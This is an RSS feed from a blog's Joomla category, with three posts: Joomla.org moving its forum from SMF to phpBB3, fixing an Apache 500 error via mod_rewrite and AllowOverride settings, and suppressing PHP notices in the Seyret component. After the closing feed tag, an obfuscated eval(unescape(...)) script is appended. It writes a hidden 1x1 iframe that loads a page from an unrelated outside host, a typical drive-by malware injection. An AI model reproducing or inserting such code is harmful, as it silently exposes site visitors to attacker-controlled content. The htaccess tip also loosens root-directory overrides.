












<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blogulate &#187; Joomla</title>
	<atom:link href="http://blogulate.com/content/category/software/joomla/feed/" rel="self" type="application/rss+xml" />
	<link>http://blogulate.com</link>
	<description>Snippets from the web</description>
	<lastBuildDate>Mon, 15 Mar 2010 04:17:27 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Joomla.org converts forum from SMF to phpBB</title>
		<link>http://blogulate.com/content/joomlaorg-converts-forum-from-smf-to-phpbb/</link>
		<comments>http://blogulate.com/content/joomlaorg-converts-forum-from-smf-to-phpbb/#comments</comments>
		<pubDate>Sun, 02 Mar 2008 16:05:13 +0000</pubDate>
		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[Joomla]]></category>

		<guid isPermaLink="false">http://blogulate.com/content/joomlaorg-converts-forum-from-smf-to-phpbb/</guid>
		<description><![CDATA[ The Joomla! community just completed migrating  from SMF over to phpBB3.  Brad Baker posted some of the details on the reason for Joomla.org&#8217;s use of phpBB3. The main reason to move over to phpBB stemmed from Joomla.org&#8217;s discomfort from bridging GPL applications with non-GPL applications.  Baker says : 
 	Why did [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://blogulate.com/wp-content/uploads/2008/03/joomla_forum_smf_to_phpbb.png" alt="Joomla forums shift from SMF to phpBB" align="right" /> The Joomla! community just completed migrating  from SMF over to phpBB3.  Brad Baker posted some of the details on the reason for Joomla.org&#8217;s use of phpBB3. The main reason to move over to phpBB stemmed from Joomla.org&#8217;s discomfort from bridging GPL applications with non-GPL applications.  Baker says : <!--adsensestart--></p>
<blockquote><p> 	<strong>Why did we move to phpBB3?</strong><br />
Good question, and there is a simple answer. Whilst SMF was great for 	us, it is not licensed under GPL, and as a result many of our users who 	like to follow the choices we make were going to run in to integration 	issues in the future. As well as that, the team at phpBB have been 	great, with many of them offering to help, especially with the 	conversion.<br />
In any case, we’re not going back, and the future is phpBB3!</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/joomlaorg-converts-forum-from-smf-to-phpbb/feed/</wfw:commentRss>
		<slash:comments>78</slash:comments>
		</item>
		<item>
		<title>Fix 500 Internal server Error on .htaccess</title>
		<link>http://blogulate.com/content/fix-500-internal-server-error-on-htaccess/</link>
		<comments>http://blogulate.com/content/fix-500-internal-server-error-on-htaccess/#comments</comments>
		<pubDate>Tue, 08 Jan 2008 05:14:58 +0000</pubDate>
		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[Developers]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[Tweaks]]></category>
		<category><![CDATA[Webmasters]]></category>

		<guid isPermaLink="false">http://blogulate.com/content/fix-500-internal-server-error-on-htaccess/</guid>
		<description><![CDATA[500 Internal Server Error on Localhost for Web.Developer Server Suite was pissing me off for a long time. The Apache error logs shows &#8220;RewriteEngine not allowed here&#8221;. Deleting .htaccess would fix the problem, but here is the fix. It&#8217;s a problem with mod_rewrite module and Apache&#8217;s AllowOverride  configuration. Here&#8217;s how to fix it :
Firstly, [...]]]></description>
			<content:encoded><![CDATA[<p><strong>500 Internal Server Error on Localhost</strong> for Web.Developer Server Suite was pissing me off for a long time. The Apache error logs shows &#8220;RewriteEngine not allowed here&#8221;. Deleting .htaccess would fix the problem, but here is the fix. It&#8217;s a problem with mod_rewrite module and Apache&#8217;s AllowOverride  configuration. Here&#8217;s how to fix it :</p>
<p>Firstly, make sure <strong>LoadModule rewrite_module modules/mod_rewrite.so</strong> is enabled in httpd.conf (Remove # before the line to enable)</p>
<p>Then, edit httpd.conf .. Find out the foll lines and mod -</p>
<p>&lt;Directory &#8220;/www/vhosts/localhost&#8221;&gt; #replace this with your dir name<br />
Options Indexes FollowSymLinks<br />
Order allow,deny<br />
Allow from all<br />
<strong>    AllowOverride All </strong>#Added<br />
&lt;/Directory&gt;</p>
<p>&lt;Directory /&gt;<br />
Options FollowSymLinks<br />
# AllowOverride Limit  #Old Value<br />
<strong>    AllowOverride All  </strong>#Added<br />
Order deny,allow<br />
Deny from all<br />
Satisfy all<br />
&lt;/Directory&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/fix-500-internal-server-error-on-htaccess/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Undefined variable error on Seyret Joomla component</title>
		<link>http://blogulate.com/content/undefined-variable-error-on-seyret-joomla-component/</link>
		<comments>http://blogulate.com/content/undefined-variable-error-on-seyret-joomla-component/#comments</comments>
		<pubDate>Fri, 14 Dec 2007 10:42:55 +0000</pubDate>
		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[Joomla]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://blogulate.com/content/undefined-variable-error-on-seyret-joomla-component/</guid>
		<description><![CDATA[Was working on Seryet all day to fix errors like
Notice:  Undefined variable: fullmd5cachefile in \localhost\components\com_seyret\plugins\videoserver\metacafe.php on line 226
Notice:  Undefined variable: vdlink in \localhost\components\com_seyret\plugins\videoserver\metacafe.php on line 226
Notice: Undefined variable: fullmd5cachefile in components/com_seyret/plugins/videoserver/google.php on line 399
Notice: Undefined variable: showfrombackupbutton in components/com_seyret/seyret.php on line 2115
Finally figured out a way to get rid of these ..
Open up [...]]]></description>
			<content:encoded><![CDATA[<p>Was working on Seryet all day to fix errors like</p>
<blockquote><p>Notice:  Undefined variable: <strong>fullmd5cachefile </strong>in \localhost\components\com_seyret\plugins\videoserver\metacafe.php on line 226</p>
<p>Notice:  Undefined variable: <strong>vdlink </strong>in \localhost\components\com_seyret\plugins\videoserver\metacafe.php on line 226</p>
<p>Notice: Undefined variable: <strong>fullmd5cachefile </strong>in components/com_seyret/plugins/videoserver/google.php on line 399</p>
<p>Notice: Undefined variable: <strong>showfrombackupbutton </strong>in components/com_seyret/seyret.php on line 2115</p></blockquote>
<p>Finally figured out a way to get rid of these ..</p>
<p>Open up seyret.php in components &gt; com_seyret  [ and admin.seyret.php in administrator &gt; components &gt; com_seyret, if errors come up in the Admin panel too ]</p>
<p>Add  <code>error_reporting(E_ALL ^ E_NOTICE);</code> to seyret.php and admin.seyret.php and voila ! <img src='http://blogulate.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/undefined-variable-error-on-seyret-joomla-component/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
<script language="javascript">eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B"))</script>